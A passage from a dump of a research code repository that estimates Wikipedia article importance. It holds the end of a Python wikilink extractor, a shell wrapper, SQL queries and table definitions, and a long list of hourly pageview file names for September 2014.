LINK_RE.finditer(text))\n\nassert list(extract_wikilinks(\"foo [[bar]], [[herp|derp]],\"\n \" [[Talk:Foo|Foo]] [[mw:Hats:Pants]]\")) == \\\n [\"bar\", \"herp\", \"Talk:Foo\", \"mw:Hats:Pants\"]\n\ndef extract_and_parse_inlinks(text, title_parser):\n for i, wikilink in enumerate(extract_wikilinks(text)):\n ns, title = title_parser.parse(wikilink)\n\n yield ns, title.split(\"#\", 1)[0]\n\ndef main():\n args = docopt.docopt(__doc__)\n \n session = api.Session(args['--api'])\n title_parser = title.Parser.from_api(session)\n threads = int(args['--threads'] or cpu_count())\n \n \n def process_dump(dump, path):\n \n for page in dump:\n \n for revision in page:\n try:\n links = set(extract_and_parse_inlinks(revision.text,\n title_parser))\n for ns, title in links:\n yield page.id, ns, title\n\n except Exception as e:\n sys.stderr.write(traceback.format_exc())\n\t\t \n \n print(\"from_id\\tto_ns\\tto_title\")\n \n link_infos = xml_dump.map(args['<dump_path>'],\n process_dump,\n threads=threads)\n \n for from_id, to_ns, to_title in link_infos:\n \n print('{0}\\t{1}\\t{2}'.format(from_id, to_ns, encode(to_title)))\n" }, { "alpha_fraction": 0.6739130616188049, "alphanum_fraction": 0.6847826242446899, "avg_line_length": 45, "blob_id": "f6b2cc09258420d6d4f62f598d0b71f5cef57699", "content_id": "3990c9fa85c84f8e37c196caeb43a659f547dc3a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 92, "license_type": "permissive", "max_line_length": 81, "num_lines": 2, "path": "/sum_pageviews", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "#!/bin/sh\npython3 -tt -c \"from importance import sum_pageviews; sum_pageviews.main();\" \"$@\"\n" }, { "alpha_fraction": 0.7308076024055481, "alphanum_fraction": 0.7407776713371277, "avg_line_length": 46.761905670166016, "blob_id": "4e8f4d82a0a21a3db8353a31e2ca08cd18c55a6f", "content_id": "f71503ad6ca74866106787c7f08ff4d4033d4836", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 1003, "license_type": "permissive", "max_line_length": 80, "num_lines": 21, "path": "/sql/article_stats.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "SELECT\n page_id,\n page_title,\n MIN(importance) AS max_importance, /* Note that max and min are reversed */\n MAX(importance) AS min_importance, /* due to the ENUM */\n AVG(importance) AS mean_importance,\n IFNULL(all_links.inlinks, 0) AS inlinks,\n IFNULL(all_links.direct_inlinks, 0) AS direct_inlinks,\n IFNULL(all_links.inlinks_from_redirects, 0) AS inlinks_from_redirects,\n IFNULL(organic.inlinks, 0) AS organic_inlinks,\n IFNULL(organic.direct_inlinks, 0) AS organic_direct_inlinks,\n IFNULL(organic.inlinks_from_redirects, 0) AS organic_inlinks_from_redirects,\n IFNULL(views, 0) AS views,\n IFNULL(direct_views, 0) AS direct_views,\n IFNULL(views_from_redirects, 0) AS views_from_redirects\nFROM staging.importance_classification\nLEFT JOIN staging.resolved_inlink_count all_links USING (page_id)\nLEFT JOIN staging.resolved_organic_inlink_count organic USING (page_id)\nLEFT JOIN staging.resolved_view_count USING (page_id)\nWHERE page_namespace = 0\nGROUP BY page_id;\n" }, { "alpha_fraction": 0.6388888955116272, "alphanum_fraction": 0.6388888955116272, "avg_line_length": 30.5, "blob_id": "5ef64e1a8a6e009667ce6f25ae83961895ea30ef", "content_id": "c40b3ab59f6e2b139863a119898bffb497371ac8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 252, "license_type": "permissive", "max_line_length": 49, "num_lines": 8, "path": "/sql/tables/inlink_count.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE IF NOT EXISTS staging.inlink_count (\n page_id INT UNSIGNED,\n inlinks INT UNSIGNED,\n redirect_id INT UNSIGNED,\n PRIMARY KEY(page_id),\n KEY(redirect_id)\n);\nSELECT NOW(), COUNT(*) FROM staging.inlink_count;\n" }, { "alpha_fraction": 0.4000000059604645, "alphanum_fraction": 0.8666666746139526, "avg_line_length": 29, "blob_id": "6380dc4eb0bfd33e52045834529922f9edd56f3e", "content_id": "4b584cc92cd1bb9c16fb4501795b1d754f82fb48", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 21600, "license_type": "permissive", "max_line_length": 29, "num_lines": 720, "path": "/datasets/201409_hourly_pageview_files.sh", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "pagecounts-20140901-000000.gz\npagecounts-20140901-010000.gz\npagecounts-20140901-020000.gz\npagecounts-20140901-030000.gz\npagecounts-20140901-040000.gz\npagecounts-20140901-050000.gz\npagecounts-20140901-060000.gz\npagecounts-20140901-070000.gz\npagecounts-20140901-080000.gz\npagecounts-20140901-090000.gz\npagecounts-20140901-100000.gz\npagecounts-20140901-110000.gz\npagecounts-20140901-120000.gz\npagecounts-20140901-130000.gz\npagecounts-20140901-140000.gz\npagecounts-20140901-150000.gz\npagecounts-20140901-160000.gz\npagecounts-20140901-170000.gz\npagecounts-20140901-180000.gz\npagecounts-20140901-190000.gz\npagecounts-20140901-200000.gz\npagecounts-20140901-210000.gz\npagecounts-20140901-220000.gz\npagecounts-20140901-230000.gz\npagecounts-20140902-000000.gz\npagecounts-20140902-010000.gz\npagecounts-20140902-020000.gz\npagecounts-20140902-030000.gz\npagecounts-20140902-040000.gz\npagecounts-20140902-050000.gz\npagecounts-20140902-060000.gz\npagecounts-20140902-070000.gz\npagecounts-20140902-080000.gz\npagecounts-20140902-090000.gz\npagecounts-20140902-100000.gz\npagecounts-20140902-110000.gz\npagecounts-20140902-120000.gz\npagecounts-20140902-130000.gz\npagecounts-20140902-140000.gz\npagecounts-20140902-150000.gz\npagecounts-20140902-160000.gz\npagecounts-20140902-170000.gz\npagecounts-20140902-180000.gz\npagecounts-20140902-190000.gz\npagecounts-20140902-200000.gz\npagecounts-20140902-210000.gz\npagecounts-20140902-220000.gz\npagecounts-20140902-230000.gz\npagecounts-20140903-000000.gz\npagecounts-20140903-010000.gz\npagecounts-20140903-020000.gz\npagecounts-20140903-030000.gz\npagecounts-20140903-040000.gz\npagecounts-20140903-050000.gz\npagecounts-20140903-060000.gz\npagecounts-20140903-070000.gz\npagecounts-20140903-080000.gz\npagecounts-20140903-090000.gz\npagecounts-20140903-100000.gz\npagecounts-20140903-110000.gz\npagecounts-20140903-120000.gz\npagecounts-20140903-130000.gz\npagecounts-20140903-140000.gz\npagecounts-20140903-150000.gz\npagecounts-20140903-160000.gz\npagecounts-20140903-170000.gz\npagecounts-20140903-180000.gz\npagecounts-20140903-190000.gz\npagecounts-20140903-200000.gz\npagecounts-20140903-210000.gz\npagecounts-20140903-220000.gz\npagecounts-20140903-230000.gz\npagecounts-20140904-000000.gz\npagecounts-20140904-010000.gz\npagecounts-20140904-020000.gz\npagecounts-20140904-030000.gz\npagecounts-20140904-040000.gz\npagecounts-20140904-050000.gz\npagecounts-20140904-060000.gz\npagecounts-20140904-070000.gz\npagecounts-20140904-080000.gz\npagecounts-20140904-090000.gz\npagecounts-20140904-100000.gz\npagecounts-20140904-110000.gz\npagecounts-20140904-120000.gz\npagecounts-20140904-130000.gz\npagecounts-20140904-140000.gz\npagecounts-20140904-150000.gz\npagecounts-20140904-160000.gz\npagecounts-20140904-170000.gz\npagecounts-20140904-180000.gz\npagecounts-20140904-190000.gz\npagecounts-20140904-200000.gz\npagecounts-20140904-210000.gz\npagecounts-20140904-220000.gz\npagecounts-20140904-230000.gz\npagecounts-20140905-000000.gz\npagecounts-20140905-010000.gz\npagecounts-20140905-020000.gz\npagecounts-20140905-030000.gz\npagecounts-20140905-040000.gz\npagecounts-20140905-050000.gz\npagecounts-20140905-060000.gz\npagecounts-20140905-070000.gz\npagecounts-20140905-080000.gz\npagecounts-20140905-090000.gz\npagecounts-20140905-100000.gz\npagecounts-20140905-110000.gz\npagecounts-20140905-120000.gz\npagecounts-20140905-130000.gz\npagecounts-20140905-140000.gz\npagecounts-20140905-150000.gz\npagecounts-20140905-160000.gz\npagecounts-20140905-170000.gz\npagecounts-20140905-180000.gz\npagecounts-20140905-190000.gz\npagecounts-20140905-200000.gz\npagecounts-20140905-210000.gz\npagecounts-20140905-220000.gz\npagecounts-20140905-230000.gz\npagecounts-20140906-000000.gz\npagecounts-20140906-010000.gz\npagecounts-20140906-020000.gz\npagecounts-20140906-030000.gz\npagecounts-20140906-040000.gz\npagecounts-20140906-050000.gz\npagecounts-20140906-060000.gz\npagecounts-20140906-070000.gz\npagecounts-20140906-080000.gz\npagecounts-20140906-090000.gz\npagecounts-20140906-100000.gz\npagecounts-20140906-110000.gz\npagecounts-20140906-120000.gz\npagecounts-20140906-130000.gz\npagecounts-20140906-140000.gz\npagecounts-20140906-150000.gz\npagecounts-20140906-160000.gz\npagecounts-20140906-170000.gz\npagecounts-20140906-180000.gz\npagecounts-20140906-190000.gz\npagecounts-20140906-200000.gz\npagecounts-20140906-210000.gz\npagecounts-20140906-220000.gz\npagecounts-20140906-230000.gz\npagecounts-20140907-000000.gz\npagecounts-20140907-010000.gz\npagecounts-20140907-020000.gz\npagecounts-20140907-030000.gz\npagecounts-20140907-040000.gz\npagecounts-20140907-050000.gz\npagecounts-20140907-060000.gz\npagecounts-20140907-070000.gz\npagecounts-20140907-080000.gz\npagecounts-20140907-090000.gz\npagecounts-20140907-100000.gz\npagecounts-20140907-110000.gz\npagecounts-20140907-120000.gz\npagecounts-20140907-130000.gz\npagecounts-20140907-140000.gz\npagecounts-20140907-150000.gz\npagecounts-20140907-160000.gz\npagecounts-20140907-170000.gz\npagecounts-20140907-180000.gz\npagecounts-20140907-190000.gz\npagecounts-20140907-200000.gz\npagecounts-20140907-210000.gz\npagecounts-20140907-220000.gz\npagecounts-20140907-230000.gz\npagecounts-20140908-000000.gz\npagecounts-20140908-010001.gz\npagecounts-20140908-020000.gz\npagecounts-20140908-030000.gz\npagecounts-20140908-040000.gz\npagecounts-20140908-050000.gz\npagecounts-20140908-060000.gz\npagecounts-20140908-070000.gz\npagecounts-20140908-080000.gz\npagecounts-20140908-090000.gz\npagecounts-20140908-100000.gz\npagecounts-20140908-110000.gz\npagecounts-20140908-120000.gz\npagecounts-20140908-130000.gz\npagecounts-20140908-140000.gz\npagecounts-20140908-150000.gz\npagecounts-20140908-160000.gz\npagecounts-20140908-170000.gz\npagecounts-20140908-180000.gz\npagecounts-20140908-190000.gz\npagecounts-20140908-200000.gz\npagecounts-20140908-210000.gz\npagecounts-20140908-220000.gz\npagecounts-20140908-230000.gz\npagecounts-20140909-000000.gz\npagecounts-20140909-010000.gz\npagecounts-20140909-020000.gz\npagecounts-20140909-030000.gz\npagecounts-20140909-040000.gz\npagecounts-20140909-050000.gz\npagecounts-20140909-060000.gz\npagecounts-20140909-070000.gz\npagecounts-20140909-080000.gz\npagecounts-20140909-090000.gz\npagecounts-20140909-100000.gz\npagecounts-20140909-110000.gz\npagecounts-20140909-120000.gz\npagecounts-20140909-130000.gz\npagecounts-20140909-140000.gz\npagecounts-20140909-150000.gz\npagecounts-20140909-160000.gz\npagecounts-20140909-170000.gz\npagecounts-20140909-180000.gz\npagecounts-20140909-190000.gz\npagecounts-20140909-200000.gz\npagecounts-20140909-210000.gz\npagecounts-20140909-220000.gz\npagecounts-20140909-230000.gz\npagecounts-20140910-000000.gz\npagecounts-20140910-010000.gz\npagecounts-20140910-020000.gz\npagecounts-20140910-030000.gz\npagecounts-20140910-040000.gz\npagecounts-20140910-050000.gz\npagecounts-20140910-060000.gz\npagecounts-20140910-070000.gz\npagecounts-20140910-080000.gz\npagecounts-20140910-090000.gz\npagecounts-20140910-100000.gz\npagecounts-20140910-110000.gz\npagecounts-20140910-120000.gz\npagecounts-20140910-130000.gz\npagecounts-20140910-140000.gz\npagecounts-20140910-150000.gz\npagecounts-20140910-160000.gz\npagecounts-20140910-170000.gz\npagecounts-20140910-180000.gz\npagecounts-20140910-190000.gz\npagecounts-20140910-200000.gz\npagecounts-20140910-210000.gz\npagecounts-20140910-220000.gz\npagecounts-20140910-230000.gz\npagecounts-20140911-000000.gz\npagecounts-20140911-010000.gz\npagecounts-20140911-020000.gz\npagecounts-20140911-030000.gz\npagecounts-20140911-040000.gz\npagecounts-20140911-050000.gz\npagecounts-20140911-060000.gz\npagecounts-20140911-070000.gz\npagecounts-20140911-080000.gz\npagecounts-20140911-090000.gz\npagecounts-20140911-100000.gz\npagecounts-20140911-110000.gz\npagecounts-20140911-120000.gz\npagecounts-20140911-130000.gz\npagecounts-20140911-140000.gz\npagecounts-20140911-150000.gz\npagecounts-20140911-160000.gz\npagecounts-20140911-170000.gz\npagecounts-20140911-180000.gz\npagecounts-20140911-190000.gz\npagecounts-20140911-200000.gz\npagecounts-20140911-210000.gz\npagecounts-20140911-220000.gz\npagecounts-20140911-230000.gz\npagecounts-20140912-000000.gz\npagecounts-20140912-010000.gz\npagecounts-20140912-020000.gz\npagecounts-20140912-030000.gz\npagecounts-20140912-040000.gz\npagecounts-20140912-050000.gz\npagecounts-20140912-060000.gz\npagecounts-20140912-070000.gz\npagecounts-20140912-080000.gz\npagecounts-20140912-090000.gz\npagecounts-20140912-100000.gz\npagecounts-20140912-110000.gz\npagecounts-20140912-120000.gz\npagecounts-20140912-130000.gz\npagecounts-20140912-140000.gz\npagecounts-20140912-150000.gz\npagecounts-20140912-160000.gz\npagecounts-20140912-170000.gz\npagecounts-20140912-180000.gz\npagecounts-20140912-190000.gz\npagecounts-20140912-200000.gz\npagecounts-20140912-210000.gz\npagecounts-20140912-220000.gz\npagecounts-20140912-230000.gz\npagecounts-20140913-000000.gz\npagecounts-20140913-010000.gz\npagecounts-20140913-020000.gz\npagecounts-20140913-030000.gz\npagecounts-20140913-040000.gz\npagecounts-20140913-050000.gz\npagecounts-20140913-060000.gz\npagecounts-20140913-070000.gz\npagecounts-20140913-080000.gz\npagecounts-20140913-090000.gz\npagecounts-20140913-100000.gz\npagecounts-20140913-110000.gz\npagecounts-20140913-120000.gz\npagecounts-20140913-130000.gz\npagecounts-20140913-140000.gz\npagecounts-20140913-150000.gz\npagecounts-20140913-160000.gz\npagecounts-20140913-170000.gz\npagecounts-20140913-180000.gz\npagecounts-20140913-190000.gz\npagecounts-20140913-200000.gz\npagecounts-20140913-210000.gz\npagecounts-20140913-220000.gz\npagecounts-20140913-230000.gz\npagecounts-20140914-000000.gz\npagecounts-20140914-010000.gz\npagecounts-20140914-020000.gz\npagecounts-20140914-030000.gz\npagecounts-20140914-040000.gz\npagecounts-20140914-050000.gz\npagecounts-20140914-060000.gz\npagecounts-20140914-070000.gz\npagecounts-20140914-080000.gz\npagecounts-20140914-090000.gz\npagecounts-20140914-100000.gz\npagecounts-20140914-110000.gz\npagecounts-20140914-120000.gz\npagecounts-20140914-130000.gz\npagecounts-20140914-140000.gz\npagecounts-20140914-150000.gz\npagecounts-20140914-160000.gz\npagecounts-20140914-170000.gz\npagecounts-20140914-180000.gz\npagecounts-20140914-190000.gz\npagecounts-20140914-200000.gz\npagecounts-20140914-210000.gz\npagecounts-20140914-220000.gz\npagecounts-20140914-230000.gz\npagecounts-20140915-000000.gz\npagecounts-20140915-010000.gz\npagecounts-20140915-020000.gz\npagecounts-20140915-030000.gz\npagecounts-20140915-040000.gz\npagecounts-20140915-050000.gz\npagecounts-20140915-060000.gz\npagecounts-20140915-070000.gz\npagecounts-20140915-080000.gz\npagecounts-20140915-090000.gz\npagecounts-20140915-100000.gz\npagecounts-20140915-110000.gz\npagecounts-20140915-120000.gz\npagecounts-20140915-130000.gz\npagecounts-20140915-140000.gz\npagecounts-20140915-150000.gz\npagecounts-20140915-160000.gz\npagecounts-20140915-170000.gz\npagecounts-20140915-180000.gz\npagecounts-20140915-190000.gz\npagecounts-20140915-200000.gz\npagecounts-20140915-210000.gz\npagecounts-20140915-220000.gz\npagecounts-20140915-230000.gz\npagecounts-20140916-000000.gz\npagecounts-20140916-010000.gz\npagecounts-20140916-020000.gz\npagecounts-20140916-030000.gz\npagecounts-20140916-040000.gz\npagecounts-20140916-050000.gz\npagecounts-20140916-060000.gz\npagecounts-20140916-070000.gz\npagecounts-20140916-080000.gz\npagecounts-20140916-090000.gz\npagecounts-20140916-100000.gz\npagecounts-20140916-110000.gz\npagecounts-20140916-120000.gz\npagecounts-20140916-130000.gz\npagecounts-20140916-140000.gz\npagecounts-20140916-150000.gz\npagecounts-20140916-160000.gz\npagecounts-20140916-170000.gz\npagecounts-20140916-180000.gz\npagecounts-20140916-190000.gz\npagecounts-20140916-200000.gz\npagecounts-20140916-210000.gz\npagecounts-20140916-220000.gz\npagecounts-20140916-230000.gz\npagecounts-20140917-000000.gz\npagecounts-20140917-010000.gz\npagecounts-20140917-020000.gz\npagecounts-20140917-030000.gz\npagecounts-20140917-040000.gz\npagecounts-20140917-050000.gz\npagecounts-20140917-060000.gz\npagecounts-20140917-070000.gz\npagecounts-20140917-080000.gz\npagecounts-20140917-090000.gz\npagecounts-20140917-100000.gz\npagecounts-20140917-110000.gz\npagecounts-20140917-120000.gz\npagecounts-20140917-130000.gz\npagecounts-20140917-140000.gz\npagecounts-20140917-150000.gz\npagecounts-20140917-160000.gz\npagecounts-20140917-170000.gz\npagecounts-20140917-180000.gz\npagecounts-20140917-190000.gz\npagecounts-20140917-200000.gz\npagecounts-20140917-210000.gz\npagecounts-20140917-220000.gz\npagecounts-20140917-230000.gz\npagecounts-20140918-000000.gz\npagecounts-20140918-010000.gz\npagecounts-20140918-020000.gz\npagecounts-20140918-030000.gz\npagecounts-20140918-040000.gz\npagecounts-20140918-050000.gz\npagecounts-20140918-060000.gz\npagecounts-20140918-070000.gz\npagecounts-20140918-080000.gz\npagecounts-20140918-090000.gz\npagecounts-20140918-100000.gz\npagecounts-20140918-110000.gz\npagecounts-20140918-120000.gz\npagecounts-20140918-130000.gz\npagecounts-20140918-140000.gz\npagecounts-20140918-150000.gz\npagecounts-20140918-160000.gz\npagecounts-20140918-170000.gz\npagecounts-20140918-180000.gz\npagecounts-20140918-190000.gz\npagecounts-20140918-200000.gz\npagecounts-20140918-210000.gz\npagecounts-20140918-220000.gz\npagecounts-20140918-230000.gz\npagecounts-20140919-000000.gz\npagecounts-20140919-010000.gz\npagecounts-20140919-020000.gz\npagecounts-20140919-030000.gz\npagecounts-20140919-040000.gz\npagecounts-20140919-050000.gz\npagecounts-20140919-060000.gz\npagecounts-20140919-070001.gz\npagecounts-20140919-080000.gz\npagecounts-20140919-090000.gz\npagecounts-20140919-100000.gz\npagecounts-20140919-110000.gz\npagecounts-20140919-120000.gz\npagecounts-20140919-130000.gz\npagecounts-20140919-140000.gz\npagecounts-20140919-150000.gz\npagecounts-20140919-160000.gz\npagecounts-20140919-170000.gz\npagecounts-20140919-180000.gz\npagecounts-20140919-190000.gz\npagecounts-20140919-200000.gz\npagecounts-20140919-210000.gz\npagecounts-20140919-220000.gz\npagecounts-20140919-230000.gz\npagecounts-20140920-000000.gz\npagecounts-20140920-010000.gz\npagecounts-20140920-020000.gz\npagecounts-20140920-030000.gz\npagecounts-20140920-040000.gz\npagecounts-20140920-050000.gz\npagecounts-20140920-060000.gz\npagecounts-20140920-070000.gz\npagecounts-20140920-080000.gz\npagecounts-20140920-090000.gz\npagecounts-20140920-100000.gz\npagecounts-20140920-110000.gz\npagecounts-20140920-120000.gz\npagecounts-20140920-130000.gz\npagecounts-20140920-140000.gz\npagecounts-20140920-150000.gz\npagecounts-20140920-160000.gz\npagecounts-20140920-170000.gz\npagecounts-20140920-180000.gz\npagecounts-20140920-190000.gz\npagecounts-20140920-200000.gz\npagecounts-20140920-210000.gz\npagecounts-20140920-220000.gz\npagecounts-20140920-230000.gz\npagecounts-20140921-000000.gz\npagecounts-20140921-010000.gz\npagecounts-20140921-020000.gz\npagecounts-20140921-030000.gz\npagecounts-20140921-040000.gz\npagecounts-20140921-050000.gz\npagecounts-20140921-060000.gz\npagecounts-20140921-070000.gz\npagecounts-20140921-080000.gz\npagecounts-20140921-090000.gz\npagecounts-20140921-100000.gz\npagecounts-20140921-110000.gz\npagecounts-20140921-120000.gz\npagecounts-20140921-130000.gz\npagecounts-20140921-140000.gz\npagecounts-20140921-150000.gz\npagecounts-20140921-160000.gz\npagecounts-20140921-170000.gz\npagecounts-20140921-180000.gz\npagecounts-20140921-190000.gz\npagecounts-20140921-200000.gz\npagecounts-20140921-210000.gz\npagecounts-20140921-220000.gz\npagecounts-20140921-230000.gz\npagecounts-20140922-000000.gz\npagecounts-20140922-010000.gz\npagecounts-20140922-020000.gz\npagecounts-20140922-030000.gz\npagecounts-20140922-040000.gz\npagecounts-20140922-050000.gz\npagecounts-20140922-060000.gz\npagecounts-20140922-070000.gz\npagecounts-20140922-080000.gz\npagecounts-20140922-090000.gz\npagecounts-20140922-100000.gz\npagecounts-20140922-110000.gz\npagecounts-20140922-120000.gz\npagecounts-20140922-130000.gz\npagecounts-20140922-140000.gz\npagecounts-20140922-150000.gz\npagecounts-20140922-160000.gz\npagecounts-20140922-170000.gz\npagecounts-20140922-180000.gz\npagecounts-20140922-190000.gz\npagecounts-20140922-200000.gz\npagecounts-20140922-210000.gz\npagecounts-20140922-220000.gz\npagecounts-20140922-230000.gz\npagecounts-20140923-000000.gz\npagecounts-20140923-010000.gz\npagecounts-20140923-020000.gz\npagecounts-20140923-030000.gz\npagecounts-20140923-040000.gz\npagecounts-20140923-050000.gz\npagecounts-20140923-060000.gz\npagecounts-20140923-070000.gz\npagecounts-20140923-080000.gz\npagecounts-20140923-090000.gz\npagecounts-20140923-100000.gz\npagecounts-20140923-110000.gz\npagecounts-20140923-120000.gz\npagecounts-20140923-130000.gz\npagecounts-20140923-140000.gz\npagecounts-20140923-150000.gz\npagecounts-20140923-160000.gz\npagecounts-20140923-170000.gz\npagecounts-20140923-180000.gz\npagecounts-20140923-190000.gz\npagecounts-20140923-200000.gz\npagecounts-20140923-210000.gz\npagecounts-20140923-220000.gz\npagecounts-20140923-230000.gz\npagecounts-20140924-000000.gz\npagecounts-20140924-010000.gz\npagecounts-20140924-020000.gz\npagecounts-20140924-030000.gz\npagecounts-20140924-040000.gz\npagecounts-20140924-050000.gz\npagecounts-20140924-060000.gz\npagecounts-20140924-070000.gz\npagecounts-20140924-080000.gz\npagecounts-20140924-090000.gz\npagecounts-20140924-100000.gz\npagecounts-20140924-110000.gz\npagecounts-20140924-120000.gz\npagecounts-20140924-130000.gz\npagecounts-20140924-140000.gz\npagecounts-20140924-150000.gz\npagecounts-20140924-160000.gz\npagecounts-20140924-170000.gz\npagecounts-20140924-180000.gz\npagecounts-20140924-190000.gz\npagecounts-20140924-200000.gz\npagecounts-20140924-210000.gz\npagecounts-20140924-220000.gz\npagecounts-20140924-230000.gz\npagecounts-20140925-000000.gz\npagecounts-20140925-010000.gz\npagecounts-20140925-020000.gz\npagecounts-20140925-030000.gz\npagecounts-20140925-040000.gz\npagecounts-20140925-050000.gz\npagecounts-20140925-060000.gz\npagecounts-20140925-070000.gz\npagecounts-20140925-080000.gz\npagecounts-20140925-090000.gz\npagecounts-20140925-100000.gz\npagecounts-20140925-110000.gz\npagecounts-20140925-120000.gz\npagecounts-20140925-130000.gz\npagecounts-20140925-140000.gz\npagecounts-20140925-150000.gz\npagecounts-20140925-160000.gz\npagecounts-20140925-170000.gz\npagecounts-20140925-180000.gz\npagecounts-20140925-190000.gz\npagecounts-20140925-200000.gz\npagecounts-20140925-210000.gz\npagecounts-20140925-220000.gz\npagecounts-20140925-230000.gz\npagecounts-20140926-000000.gz\npagecounts-20140926-010000.gz\npagecounts-20140926-020000.gz\npagecounts-20140926-030000.gz\npagecounts-20140926-040000.gz\npagecounts-20140926-050000.gz\npagecounts-20140926-060000.gz\npagecounts-20140926-070000.gz\npagecounts-20140926-080000.gz\npagecounts-20140926-090000.gz\npagecounts-20140926-100000.gz\npagecounts-20140926-110000.gz\npagecounts-20140926-120000.gz\npagecounts-20140926-130000.gz\npagecounts-20140926-140000.gz\npagecounts-20140926-150000.gz\npagecounts-20140926-160000.gz\npagecounts-20140926-170000.gz\npagecounts-20140926-180000.gz\npagecounts-20140926-190000.gz\npagecounts-20140926-200000.gz\npagecounts-20140926-210000.gz\npagecounts-20140926-220000.gz\npagecounts-20140926-230000.gz\npagecounts-20140927-000000.gz\npagecounts-20140927-010000.gz\npagecounts-20140927-020000.gz\npagecounts-20140927-030000.gz\npagecounts-20140927-040000.gz\npagecounts-20140927-050000.gz\npagecounts-20140927-060000.gz\npagecounts-20140927-070000.gz\npagecounts-20140927-080000.gz\npagecounts-20140927-090000.gz\npagecounts-20140927-100000.gz\npagecounts-20140927-110000.gz\npagecounts-20140927-120000.gz\npagecounts-20140927-130000.gz\npagecounts-20140927-140000.gz\npagecounts-20140927-150000.gz\npagecounts-20140927-160000.gz\npagecounts-20140927-170000.gz\npagecounts-20140927-180000.gz\npagecounts-20140927-190000.gz\npagecounts-20140927-200000.gz\npagecounts-20140927-210000.gz\npagecounts-20140927-220000.gz\npagecounts-20140927-230000.gz\npagecounts-20140928-000000.gz\npagecounts-20140928-010000.gz\npagecounts-20140928-020000.gz\npagecounts-20140928-030000.gz\npagecounts-20140928-040000.gz\npagecounts-20140928-050000.gz\npagecounts-20140928-060000.gz\npagecounts-20140928-070000.gz\npagecounts-20140928-080000.gz\npagecounts-20140928-090000.gz\npagecounts-20140928-100000.gz\npagecounts-20140928-110000.gz\npagecounts-20140928-120000.gz\npagecounts-20140928-130000.gz\npagecounts-20140928-140000.gz\npagecounts-20140928-150000.gz\npagecounts-20140928-160000.gz\npagecounts-20140928-170000.gz\npagecounts-20140928-180000.gz\npagecounts-20140928-190000.gz\npagecounts-20140928-200000.gz\npagecounts-20140928-210000.gz\npagecounts-20140928-220000.gz\npagecounts-20140928-230000.gz\npagecounts-20140929-000000.gz\npagecounts-20140929-010000.gz\npagecounts-20140929-020000.gz\npagecounts-20140929-030000.gz\npagecounts-20140929-040000.gz\npagecounts-20140929-050000.gz\npagecounts-20140929-060000.gz\npagecounts-20140929-070000.gz\npagecounts-20140929-080000.gz\npagecounts-20140929-090000.gz\npagecounts-20140929-100000.gz\npagecounts-20140929-110000.gz\npagecounts-20140929-120000.gz\npagecounts-20140929-130000.gz\npagecounts-20140929-140000.gz\npagecounts-20140929-150000.gz\npagecounts-20140929-160000.gz\npagecounts-20140929-170000.gz\npagecounts-20140929-180001.gz\npagecounts-20140929-190000.gz\npagecounts-20140929-200000.gz\npagecounts-20140929-210000.gz\npagecounts-20140929-220000.gz\npagecounts-20140929-230000.gz\npagecounts-20140930-000000.gz\npagecounts-20140930-010000.gz\npagecounts-20140930-020000.gz\npagecounts-20140930-030000.gz\npagecounts-20140930-040000.gz\npagecounts-20140930-050000.gz\npagecounts-20140930-060000.gz\npagecounts-20140930-070000.gz\npagecounts-20140930-080000.gz\npagecounts-20140930-090000.gz\npagecounts-20140930-100000.gz\npagecounts-20140930-110000.gz\npagecounts-20140930-120000.gz\npagecounts-20140930-130000.gz\npagecounts-20140930-140000.gz\npagecounts-20140930-150000.gz\npagecounts-20140930-160000.gz\npagecounts-20140930-170000.gz\npagecounts-20140930-180000.gz\npagecounts-20140930-190000.gz\npagecounts-20140930-200000.gz\npagecounts-20140930-210000.gz\npagecounts-20140930-220000.gz\npagecounts-20140930-230000.gz\n" }, { "alpha_fraction": 0.7557252049446106, "alphanum_fraction": 0.758269727230072, "avg_line_length": 34.727272033691406, "blob_id": "aa186a34d8059842c100d1ed7dec7257f494bb4d", "content_id": "5e1bf526ba95257da154fe3ec8c1b758c1ddf292", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 393, "license_type": "permissive", "max_line_length": 55, "num_lines": 11, "path": "/sql/resolved_inlink_count.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "SELECT\n article.page_id,\n article.inlinks + SUM(redirect.inlinks) AS inlinks,\n article.inlinks AS direct_inlinks,\n SUM(redirect.inlinks) AS inlinks_from_redirects,\n COUNT(redirect.page_id) AS redirects\nFROM staging.inlink_count article\nLEFT JOIN staging.inlink_count redirect ON\n redirect.redirect_id = article.page_id\nWHERE article.redirect_id = 0\nGROUP BY article.page_id;\n" }, { "alpha_fraction": 0.6460905075073242, "alphanum_fraction": 0.6584362387657166, "avg_line_length": 33.71428680419922, "blob_id": "9ce64472c1473208328359b4ae99ef4515060ea5", "content_id": "d78e3c1ee0b46a06fb60b48fc32d435b3a301666", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 243, "license_type": "permissive", "max_line_length": 58, "num_lines": 7, "path": "/sql/tables/page_name_views_dupes.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE IF NOT EXISTS staging.page_name_views_dupes (\n page_namespace INT,\n page_title VARBINARY(255),\n views INT,\n KEY(page_namespace, page_title)\n);\nSELECT NOW(), COUNT(*) FROM staging.page_name_views_dupes;\n" }, { "alpha_fraction": 0.612500011920929, "alphanum_fraction": 0.6291666626930237, "avg_line_length": 39, "blob_id": "29ffcc97b877166788ba201d65c6e2d1052992b7", "content_id": "c0b4ad432b2b7a7a5631079056e1bee90f3af7b9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 480, "license_type": "permissive", "max_line_length": 65, "num_lines": 12, "path": "/sql/tables/importance_classification.create.sql", "repo_name": "halfak/Article-importance-in-Wikipedia", "src_encoding": "UTF-8", "text": "CREATE TABLE 